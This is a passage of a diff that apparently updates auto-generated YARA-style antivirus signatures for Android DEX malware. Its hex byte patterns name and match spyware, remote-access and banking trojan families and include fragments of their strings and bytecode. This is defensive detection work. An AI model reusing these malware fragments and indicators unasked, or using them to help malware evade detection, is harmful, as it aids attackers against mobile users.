1)*24948+(#a_43_2 & 1)*28261+(#a_74_3 & 1)*24879+(#a_2e_4 & 1)*28525) >=5 } -rule _InfrastructureShared_24805{ +rule _InfrastructureShared_26109{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " @@ -324886,7 +341607,7 @@ rule _InfrastructureShared_24805{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*25345+(#a_65_2 & 1)*12115+(#a_4d_3 & 1)*25938+(#a_69_4 & 1)*24931) >=5 } -rule _InfrastructureShared_24806{ +rule _InfrastructureShared_26110{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " @@ -324900,7 +341621,7 @@ rule _InfrastructureShared_24806{ ((#a_46_0 & 1)*16675+(#a_5f_1 & 1)*28525+(#a_72_2 & 1)*29801+(#a_6f_3 & 1)*24423+(#a_01_4 & 1)*28769) >=5 } -rule _InfrastructureShared_24807{ +rule _InfrastructureShared_26111{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 06 00 21 " @@ -324915,7 +341636,7 @@ rule _InfrastructureShared_24807{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*26369+(#a_6e_2 & 1)*14930+(#a_69_3 & 1)*30309+(#a_74_4 & 1)*30063+(#a_45_5 & 1)*17221) >=6 } -rule _InfrastructureShared_24808{ +rule _InfrastructureShared_26112{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 06 00 21 " @@ -324930,7 +341651,7 @@ rule _InfrastructureShared_24808{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*30309+(#a_74_2 & 1)*30063+(#a_45_3 & 1)*17221+(#a_01_4 & 1)*3841+(#a_68_5 & 1)*8295) >=6 } -rule _InfrastructureShared_24809{ +rule _InfrastructureShared_26113{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,0c 00 0c 00 04 00 21 " @@ -324943,7 +341664,7 @@ rule _InfrastructureShared_24809{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*274+(#a_32_2 & 1)*12341+(#a_5b_3 & 1)*7168) >=12 } -rule _InfrastructureShared_24810{ +rule _InfrastructureShared_26114{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,01 00 01 00 06 00 21 " @@ -324953,12 +341674,12 @@ rule _InfrastructureShared_24810{ $a_3a_2 = {6e 64 72 6f 69 64 4f 53 2f 52 6f 6f 74 6e 69 6b 2e 41 21 4d 54 42 00 01 00 1b 00 62 62 78 64 61 74 61 2e 73 6a 2e 39 31 2e 63 6f 6d 2f 73 74 61 74 2e 61 73 68 78 01 00 1f 00 63 6f 6d 2f 6e 64 2f 61 6e 64 72 6f 69 64 2f 73 6d 61 72 74 75 70 64 61 } //21587 $a_61_3 = {64 6c 01 00 19 01 53 4c 49 45 4e 54 5f 49 4e 53 54 41 4c 4c 5f 4e 4f 54 5f 52 45 4d 49 4e 44 01 00 1e 00 63 6f 6d 2f 64 72 61 67 6f 6e 2f 6d } //25972 $a_6d_4 = {72 6b 65 74 2f 64 6f 77 6e 6c 6f 61 64 00 00 be af 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 47 72 69 66 74 48 6f 72 73 65 2e 41 00 01 00 09 01 73 65 74 4c 61 73 74 54 53 01 00 11 01 73 65 74 4c 6f 67 69 6e 54 61 72 67 65 74 41 70 70 01 00 0f 01 74 72 61 63 6b 69 6e 67 4c 69 6d 69 } //25199 - $a_01_5 = {00 13 01 73 65 74 53 68 6f 75 6c 64 53 6b 69 70 44 65 64 75 70 65 01 00 0d 01 73 65 74 55 73 65 72 45 6d 61 69 6c 73 01 00 22 01 74 6f 4a 53 4f 4e 4f 62 6a 65 63 74 24 66 61 63 65 62 6f 6f 6b 5f 63 6f 72 65 5f 72 65 6c 65 61 73 65 00 00 be b0 00 00 0c 00 0c 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a } //25972 + $a_01_5 = {00 13 01 73 65 74 53 68 6f 75 6c 64 53 6b 69 70 44 65 64 75 70 65 01 00 0d 01 73 65 74 55 73 65 72 45 6d 61 69 6c 73 01 00 22 01 74 6f 4a 53 4f 4e 4f 62 6a 65 63 74 24 66 61 63 65 62 6f 6f 6b 5f 63 6f 72 65 5f 72 65 6c 65 61 73 65 00 00 be b0 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 } //25972 condition: ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*29793+(#a_3a_2 & 1)*21587+(#a_61_3 & 1)*25972+(#a_6d_4 & 1)*25199+(#a_01_5 & 1)*25972) >=1 } -rule _InfrastructureShared_24811{ +rule _InfrastructureShared_26115{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -324966,27 +341687,37 @@ rule _InfrastructureShared_24811{ $a_46_0 = {45 52 3a 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 52 6f 6f 74 6e 69 6b 2e 41 21 4d 54 42 00 01 00 1b 00 62 62 78 64 61 74 61 2e 73 6a 2e 39 31 2e 63 6f 6d 2f 73 74 61 74 2e 61 73 68 78 01 00 1f 00 63 6f 6d 2f 6e 64 2f 61 6e } //16675 $a_69_1 = {2f 73 6d 61 72 74 75 70 64 61 74 65 2f 61 69 64 6c 01 00 19 01 53 4c 49 45 4e 54 5f 49 4e 53 54 41 4c 4c 5f 4e 4f 54 5f 52 45 4d 49 4e 44 01 00 1e 00 63 6f 6d 2f 64 72 61 67 6f 6e 2f 6d 6f 62 6f 6d 61 72 6b 65 74 2f 64 6f 77 6e 6c 6f 61 64 00 00 be af 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 } //29284 $a_2f_2 = {72 69 66 74 48 6f 72 73 65 2e 41 00 01 00 09 01 73 65 74 4c 61 73 74 54 53 01 00 11 01 73 65 74 4c 6f 67 69 6e 54 61 72 67 65 74 41 70 70 01 00 0f 01 74 72 61 63 6b 69 6e 67 4c 69 6d 69 74 65 64 01 00 13 01 73 65 74 53 68 6f 75 6c 64 53 6b 69 70 44 } //20324 - $a_70_3 = {01 00 0d 01 73 65 74 55 73 65 72 45 6d 61 69 6c 73 01 00 22 01 74 6f 4a 53 4f 4e 4f 62 6a 65 63 74 24 66 61 63 65 62 6f 6f 6b 5f 63 6f 72 65 5f 72 65 6c 65 61 73 65 00 00 be b0 00 00 0c 00 0c 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 44 6d 73 53 70 79 2e 41 41 00 0a 00 2c 03 71 68 00 01 90 01 08 22 39 } //25701 + $a_70_3 = {01 00 0d 01 73 65 74 55 73 65 72 45 6d 61 69 6c 73 01 00 22 01 74 6f 4a 53 4f 4e 4f 62 6a 65 63 74 24 66 61 63 65 62 6f 6f 6b 5f 63 6f 72 65 5f 72 65 6c 65 61 73 65 00 00 be b0 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 70 79 4d 61 78 2e 43 21 4d 54 42 00 01 00 36 01 20 40 b2 01 12 02 39 00 03 00 } //25701 condition: ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*29284+(#a_2f_2 & 1)*20324+(#a_70_3 & 1)*25701) >=4 } -rule _InfrastructureShared_24812{ +rule _InfrastructureShared_26116{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 06 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 47 72 69 66 74 48 6f 72 73 65 2e 41 00 01 00 09 01 73 65 74 4c 61 73 74 54 53 01 00 11 01 73 65 74 4c 6f 67 69 6e 54 61 72 67 65 74 41 70 70 01 00 0f 01 74 72 61 63 6b 69 6e 67 } //16675 - $a_69_1 = {65 64 01 00 13 01 73 65 74 53 68 6f 75 6c 64 53 6b 69 70 44 65 64 75 70 65 01 00 0d 01 73 65 74 55 73 65 72 45 6d 61 69 6c 73 01 00 22 01 74 6f 4a 53 4f 4e 4f 62 6a 65 63 74 24 66 61 63 65 62 6f 6f 6b 5f 63 6f 72 65 5f 72 65 6c 65 61 73 65 00 00 be b0 00 00 0c 00 0c 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 53 70 79 3a } //26956 - $a_72_2 = {69 64 4f 53 2f 44 6d 73 53 70 79 2e 41 41 00 0a 00 2c 03 71 68 00 01 90 01 08 22 39 52 52 54 52 52 52 42 52 52 52 90 01 16 22 39 52 52 5e 52 52 52 90 01 01 52 52 52 33 31 26 3b 24 3b 90 00 01 00 07 01 2f 2e 6a 69 61 67 75 01 00 11 01 4c 63 6f 6d 2f 73 74 75 62 2f 53 74 75 62 41 70 70 01 00 0a 01 69 } //28225 - $a_72_3 = {61 63 65 35 01 00 21 01 21 46 61 69 6c 65 64 20 74 6f 20 63 61 6c 6c 20 61 74 74 61 63 68 42 61 73 65 43 6f 6e 74 65 78 74 00 00 be b1 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 43 79 6e 6f 73 2e 42 00 01 00 17 00 2f 73 64 6b 2f 61 70 69 2f 6c 6f 67 2f } //29806 - $a_6f_4 = {69 6e 4c 6f 67 01 00 1c 00 2f 69 6e 69 74 2f 6c 6f 67 2f 75 70 53 44 4b 4f 6e 6c 69 6e 65 54 69 6d 65 4c 6f 67 01 00 1b 00 69 6e 69 74 2f 61 64 76 65 72 74 2f 67 65 74 41 64 76 65 72 74 53 63 72 69 70 74 01 00 18 00 44 4f 54 41 } //28789 - $a_53_5 = {4e 44 53 4d 53 52 45 54 52 59 43 4f 55 4e 54 01 00 0e 00 67 65 74 50 72 6f 76 41 6e 64 43 69 74 79 00 00 03 00 be b4 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 41 67 65 6e 74 2e 42 59 21 4d 54 42 00 01 00 1a 00 21 32 35 21 0c 00 48 } //19283 + $a_69_1 = {65 64 01 00 13 01 73 65 74 53 68 6f 75 6c 64 53 6b 69 70 44 65 64 75 70 65 01 00 0d 01 73 65 74 55 73 65 72 45 6d 61 69 6c 73 01 00 22 01 74 6f 4a 53 4f 4e 4f 62 6a 65 63 74 24 66 61 63 65 62 6f 6f 6b 5f 63 6f 72 65 5f 72 65 6c 65 61 73 65 00 00 be b0 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 } //26956 + $a_4f_2 = {2f 53 70 79 4d 61 78 2e 43 21 4d 54 42 00 01 00 36 01 20 40 b2 01 12 02 39 00 03 00 0f 02 1f 04 b2 01 6e 10 5b 08 04 00 0a 00 3d 00 0f 00 d8 00 00 ff 6e 20 5a 08 04 00 0c 03 71 10 92 0d 03 00 0a 03 38 03 f4 ff 0f 01 01 00 46 01 54 45 96 07 22 06 76 02 70 40 68 0d 46 10 6e 20 ef 2f 65 00 54 45 96 07 } //26991 + $a_02_3 = {70 40 6a 0d 46 10 6e 20 dd 2f 65 00 28 22 54 46 92 07 38 06 15 00 22 05 78 02 70 40 6c 0d 45 10 6e 20 83 0b 56 00 54 45 92 07 00 00 be b0 00 00 0c 00 0c 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 44 6d 73 53 70 79 2e 41 41 00 0a 00 2c 03 71 68 00 01 90 01 08 22 39 52 52 54 52 52 52 42 52 52 52 90 01 16 22 39 } //1570 + $a_52_4 = {52 90 01 01 52 52 52 33 31 26 3b 24 3b 90 00 01 00 07 01 2f 2e 6a 69 61 67 75 01 00 11 01 4c 63 6f 6d 2f 73 74 75 62 2f 53 74 75 62 41 70 70 01 00 0a 01 69 6e 74 65 72 66 61 63 65 35 01 00 21 01 21 46 61 69 6c 65 64 20 74 6f 20 63 61 6c 6c 20 61 74 74 61 63 68 42 61 73 65 43 6f 6e } //21074 + $a_74_5 = {00 be b1 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 43 79 6e 6f 73 2e 42 00 01 00 17 00 2f 73 64 6b 2f 61 70 69 2f 6c 6f 67 2f 75 70 4c 6f 67 69 6e 4c 6f 67 01 00 1c 00 2f 69 6e 69 74 2f 6c 6f 67 2f 75 70 53 44 4b 4f 6e 6c 69 6e 65 54 69 6d 65 4c 6f 67 01 00 1b 00 69 6e 69 74 2f 61 64 76 65 72 74 2f 67 65 74 } //25972 condition: - ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*26956+(#a_72_2 & 1)*28225+(#a_72_3 & 1)*29806+(#a_6f_4 & 1)*28789+(#a_53_5 & 1)*19283) >=6 + ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*26956+(#a_4f_2 & 1)*26991+(#a_02_3 & 1)*1570+(#a_52_4 & 1)*21074+(#a_74_5 & 1)*25972) >=6 } -rule _InfrastructureShared_24813{ +rule _InfrastructureShared_26117{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 70 79 4d 61 78 2e 43 21 4d 54 42 00 01 00 36 01 20 40 b2 01 12 02 39 00 03 00 0f 02 1f 04 b2 01 6e 10 5b 08 04 00 0a 00 3d 00 0f 00 d8 00 00 ff 6e 20 5a } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_26118{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,0c 00 0c 00 05 00 21 " @@ -324995,26 +341726,47 @@ rule _InfrastructureShared_24813{ $a_69_1 = {67 75 01 00 11 01 4c 63 6f 6d 2f 73 74 75 62 2f 53 74 75 62 41 70 70 01 00 0a 01 69 6e 74 65 72 66 61 63 65 35 01 00 21 01 21 46 61 69 6c 65 64 20 74 6f 20 63 61 6c 6c 20 61 74 74 61 63 68 42 61 73 65 43 6f 6e 74 65 78 74 00 00 be b1 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 } //11823 $a_43_2 = {6e 6f 73 2e 42 00 01 00 17 00 2f 73 64 6b 2f 61 70 69 2f 6c 6f 67 2f 75 70 4c 6f 67 69 6e 4c 6f 67 01 00 1c 00 2f 69 6e 69 74 2f 6c 6f 67 2f } //21327 $a_44_3 = {4f 6e 6c 69 6e 65 54 69 6d 65 4c 6f 67 01 00 1b 00 69 6e 69 74 2f 61 64 76 65 72 74 2f 67 65 74 41 64 76 65 72 74 53 63 72 69 70 74 01 00 18 00 44 4f 54 41 53 4b 5f 53 45 4e 44 53 4d 53 52 45 54 52 59 43 4f 55 4e 54 01 00 0e 00 67 65 74 50 72 6f 76 } //28789 - $a_43_4 = {74 79 00 00 03 00 be b4 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 41 67 65 6e 74 2e 42 59 21 4d 54 42 00 01 00 1a 00 21 32 35 21 0c 00 48 02 03 01 df 02 02 69 8d 22 4f 02 03 01 d8 01 01 01 28 f4 01 00 65 03 13 16 2c 00 13 10 08 00 4f 16 0f 10 71 } //28225 + $a_43_4 = {74 79 00 00 03 00 be b2 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 42 74 6d 6f 62 52 61 74 2e 41 21 4d 54 42 00 01 00 3e 01 6e 10 15 00 03 00 0c 00 6e 10 23 1a 00 00 0c 00 62 01 8f 07 12 12 33 10 04 00 01 20 28 02 12 00 6e 30 1c 00 13 00 6e 10 17 00 } //28225 condition: ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*11823+(#a_43_2 & 1)*21327+(#a_44_3 & 1)*28789+(#a_43_4 & 1)*28225) >=12 } -rule _InfrastructureShared_24814{ +rule _InfrastructureShared_26119{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 43 79 6e 6f 73 2e 42 00 01 00 17 00 2f 73 64 6b 2f 61 70 69 2f 6c 6f 67 2f 75 70 4c 6f 67 69 6e 4c 6f 67 01 00 1c 00 2f 69 6e 69 74 2f 6c 6f 67 2f 75 70 53 44 4b 4f 6e 6c 69 6e } //16675 - $a_6d_1 = {4c 6f 67 01 00 1b 00 69 6e 69 74 2f 61 64 76 65 72 74 2f 67 65 74 41 64 76 65 72 74 53 63 72 69 70 74 01 00 18 00 44 4f 54 41 53 4b 5f 53 45 4e 44 53 4d 53 52 45 54 52 59 43 4f 55 4e 54 01 00 0e 00 67 65 74 50 72 6f 76 41 6e 64 43 69 74 79 00 00 03 00 be b4 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 } //21605 - $a_6e_2 = {72 6f 69 64 4f 53 2f 53 41 67 65 6e 74 2e 42 59 21 4d 54 42 00 01 00 1a 00 21 32 35 21 0c 00 48 02 03 01 df 02 02 69 8d 22 4f 02 03 01 d8 01 01 01 28 f4 01 00 65 03 13 16 2c 00 13 10 08 00 4f 16 } //14958 - $a_10_3 = {90 02 03 0f 00 0c 0f 6e 20 90 02 03 f6 00 0a 0f 38 0f 74 00 23 ee 90 02 03 4f 11 0e 0a 4f 12 0e 0b 4f 13 0e 07 4f 13 0e 0d 4f 05 0e 03 4f 14 0e 08 4f 12 0e 09 4f 15 0e 0c 13 0f 08 00 4f 16 0e 0f 71 10 90 02 03 0e 00 0c 0e 6e 20 90 02 03 e6 00 0c 06 5b 06 90 00 00 00 be b5 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 41 64 77 61 72 65 3a 41 } //4111 - $a_6f_4 = {64 4f 53 2f 4d 6f 62 69 64 61 73 68 2e 41 57 21 4d 54 42 00 01 00 4e 01 70 10 cd 85 01 00 14 00 f7 62 73 ca 59 10 13 00 59 10 14 00 14 00 09 fb c8 2e 59 10 15 00 59 10 16 00 12 10 59 10 17 00 59 10 18 00 12 00 5b 10 19 00 5b 10 1a 00 5b 12 0d 00 5b 13 0e 00 5b 14 0f 00 5b 15 10 00 59 16 11 00 5b 17 12 00 01 00 30 01 6e 10 2f 12 04 00 0a 00 } //25710 + $a_6d_1 = {4c 6f 67 01 00 1b 00 69 6e 69 74 2f 61 64 76 65 72 74 2f 67 65 74 41 64 76 65 72 74 53 63 72 69 70 74 01 00 18 00 44 4f 54 41 53 4b 5f 53 45 4e 44 53 4d 53 52 45 54 52 59 43 4f 55 4e 54 01 00 0e 00 67 65 74 50 72 6f 76 41 6e 64 43 69 74 79 00 00 03 00 be b2 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 } //21605 + $a_6e_2 = {72 6f 69 64 4f 53 2f 42 74 6d 6f 62 52 61 74 2e 41 21 4d 54 42 00 01 00 3e 01 6e 10 15 00 03 00 0c 00 6e 10 23 1a 00 00 0c 00 62 01 8f 07 12 12 33 10 04 00 01 20 28 02 12 00 6e 30 1c 00 13 00 6e } //14958 + $a_95_4 = {03 00 0c 00 39 00 03 00 0e 00 54 00 ad 07 01 00 } //28160 condition: - ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*21605+(#a_6e_2 & 1)*14958+(#a_10_3 & 1)*4111+(#a_6f_4 & 1)*25710) >=5 + ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*21605+(#a_6e_2 & 1)*14958+(#a_95_4 & 1)*28160) >=5 } -rule _InfrastructureShared_24815{ +rule _InfrastructureShared_26120{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 42 74 6d 6f 62 52 61 74 2e 41 21 4d 54 42 00 01 00 3e 01 6e 10 15 00 03 00 0c 00 6e 10 23 1a 00 00 0c 00 62 01 8f 07 12 12 33 10 04 00 01 20 28 02 12 00 6e } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_26121{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 41 6e 64 72 6f 69 64 4f 53 2f 42 61 6e 6b 65 72 2e 41 53 21 4d 54 42 00 01 00 13 01 63 6f 6d 2f 62 6e 6b 65 72 2f 69 6e 73 74 61 6c 6c 65 72 01 00 10 01 64 6a 5f 64 } //21539 + $a_79_1 = {74 65 64 2e 61 70 6b 01 00 4f 03 1b 10 32 12 12 33 21 2b 00 6e 10 af 07 00 00 0c 01 6e 10 f1 07 01 00 0a 01 38 01 17 00 22 01 b2 01 1a 02 90 01 01 0e 70 20 e6 07 21 00 1a 02 90 01 01 16 6e 20 e8 07 21 00 22 02 f0 03 70 10 90 01 01 16 02 00 6e 30 c1 07 20 01 28 0b 90 00 00 00 be b4 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e } //25445 + $a_64_2 = {6f 69 64 4f 53 2f 53 41 67 65 6e 74 2e 42 59 21 4d 54 42 00 01 00 1a 00 21 32 35 21 0c 00 48 02 03 01 df 02 02 69 8d 22 4f 02 03 01 d8 01 01 01 28 f4 01 00 65 03 13 16 2c 00 13 10 08 00 4f 16 0f 10 71 10 90 02 03 0f 00 0c 0f 6e 20 90 02 03 f6 00 0a 0f 38 0f 74 00 23 ee 90 02 03 4f 11 0e 0a 4f 12 0e 0b 4f 13 0e 07 4f 13 0e 0d 4f } //16698 + condition: + ((#a_4c_0 & 1)*21539+(#a_79_1 & 1)*25445+(#a_64_2 & 1)*16698) >=3 + +} +rule _InfrastructureShared_26122{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " @@ -325025,7 +341777,18 @@ rule _InfrastructureShared_24815{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*28944) >=2 } -rule _InfrastructureShared_24816{ +rule _InfrastructureShared_26123{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 52 65 61 6c 52 61 74 2e 4b 21 4d 54 42 00 01 00 4c 01 13 01 10 00 33 10 24 00 22 00 d0 09 54 41 ef 3b 52 42 fb 3b 52 43 f9 3b 70 40 20 4d 10 32 52 } //21539 + $a_52_1 = {f9 3b b0 21 59 41 fb 3b 12 01 59 41 f7 3b 54 41 f5 3b 52 42 fd 3b d8 02 02 ff 44 03 01 02 d8 03 03 01 4b 03 01 02 11 00 01 00 30 01 52 52 f7 3b 39 02 06 00 6e 10 53 4b 05 00 0a } //-1215 + condition: + ((#a_4c_0 & 1)*21539+(#a_52_1 & 1)*-1215) >=2 + +} +rule _InfrastructureShared_26124{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " @@ -325036,7 +341799,7 @@ rule _InfrastructureShared_24816{ ((#a_4c_0 & 1)*21539+(#a_10_1 & 1)*22) >=2 } -rule _InfrastructureShared_24817{ +rule _InfrastructureShared_26125{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " @@ -325049,7 +341812,7 @@ rule _InfrastructureShared_24817{ ((#a_46_0 & 1)*16675+(#a_4e_1 & 1)*28486+(#a_2f_2 & 1)*20324+(#a_6e_3 & 1)*26996) >=5 } -rule _InfrastructureShared_24818{ +rule _InfrastructureShared_26126{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,07 00 07 00 07 00 21 " @@ -325064,7 +341827,7 @@ rule _InfrastructureShared_24818{ ((#a_46_0 & 1)*16675+(#a_68_1 & 1)*24+(#a_4f_2 & 1)*26991+(#a_65_3 & 1)*2560+(#a_66_4 & 1)*31086+(#a_6d_5 & 1)*25710) >=7 } -rule _InfrastructureShared_24819{ +rule _InfrastructureShared_26127{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 06 00 21 " @@ -325079,7 +341842,7 @@ rule _InfrastructureShared_24819{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*8303+(#a_46_2 & 1)*16675+(#a_72_3 & 1)*29535+(#a_3a_4 & 1)*21840+(#a_74_5 & 1)*16744) >=6 } -rule _InfrastructureShared_24820{ +rule _InfrastructureShared_26128{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 06 00 21 " @@ -325094,7 +341857,7 @@ rule _InfrastructureShared_24820{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*29535+(#a_3a_2 & 1)*21840+(#a_74_3 & 1)*16744+(#a_00_4 & 1)*-16896+(#a_00_5 & 1)*-16896) >=6 } -rule _InfrastructureShared_24821{ +rule _InfrastructureShared_26129{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " @@ -325108,7 +341871,7 @@ rule _InfrastructureShared_24821{ ((#a_41_0 & 1)*20515+(#a_64_1 & 1)*25939+(#a_64_2 & 1)*28530+(#a_6f_3 & 1)*28789+(#a_6f_4 & 1)*20) >=5 } -rule _InfrastructureShared_24822{ +rule _InfrastructureShared_26130{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 06 00 21 " @@ -325123,7 +341886,7 @@ rule _InfrastructureShared_24822{ ((#a_4c_0 & 1)*21539+(#a_74_1 & 1)*28483+(#a_45_2 & 1)*17996+(#a_5f_3 & 1)*25960+(#a_4f_4 & 1)*26991+(#a_54_5 & 1)*17735) >=5 } -rule _InfrastructureShared_24823{ +rule _InfrastructureShared_26131{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 06 00 21 " @@ -325137,7 +341900,7 @@ rule _InfrastructureShared_24823{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*30064+(#a_23_2 & 1)*6+(#a_6c_4 & 1)*28019+(#a_65_5 & 1)*21605) >=6 } -rule _InfrastructureShared_24824{ +rule _InfrastructureShared_26132{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,03 00 03 00 06 00 21 " @@ -325151,7 +341914,7 @@ rule _InfrastructureShared_24824{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*26956+(#a_6f_2 & 1)*25710+(#a_2f_3 & 1)*29301+(#a_68_4 & 1)*28784) >=3 } -rule _InfrastructureShared_24825{ +rule _InfrastructureShared_26133{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " @@ -325165,7 +341928,7 @@ rule _InfrastructureShared_24825{ ((#a_46_0 & 1)*16675+(#a_5f_1 & 1)*26984+(#a_54_2 & 1)*28265+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=5 } -rule _InfrastructureShared_24826{ +rule _InfrastructureShared_26134{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 06 00 21 " @@ -325180,7 +341943,7 @@ rule _InfrastructureShared_24826{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*26368+(#a_54_2 & 1)*8448+(#a_70_3 & 1)*16739+(#a_6c_4 & 1)*24948+(#a_70_5 & 1)*29545) >=6 } -rule _InfrastructureShared_24827{ +rule _InfrastructureShared_26135{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,20 00 20 00 06 00 21 " @@ -325192,7 +341955,7 @@ rule _InfrastructureShared_24827{ ((#a_4c_0 & 1)*21539+(#a_6e_2 & 1)*25439+(#a_3a_5 & 1)*19521) >=32 } -rule _InfrastructureShared_24828{ +rule _InfrastructureShared_26136{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,07 00 07 00 07 00 21 " @@ -325206,7 +341969,7 @@ rule _InfrastructureShared_24828{ ((#a_46_0 & 1)*16675+(#a_49_1 & 1)*28737+(#a_52_2 & 1)*20550+(#a_6f_3 & 1)*35+(#a_41_6 & 1)*8448) >=7 } -rule _InfrastructureShared_24829{ +rule _InfrastructureShared_26137{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " @@ -325218,7 +341981,7 @@ rule _InfrastructureShared_24829{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*12141+(#a_50_4 & 1)*19521) >=5 } -rule _InfrastructureShared_24830{ +rule _InfrastructureShared_26138{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 06 00 21 " @@ -325233,7 +341996,7 @@ 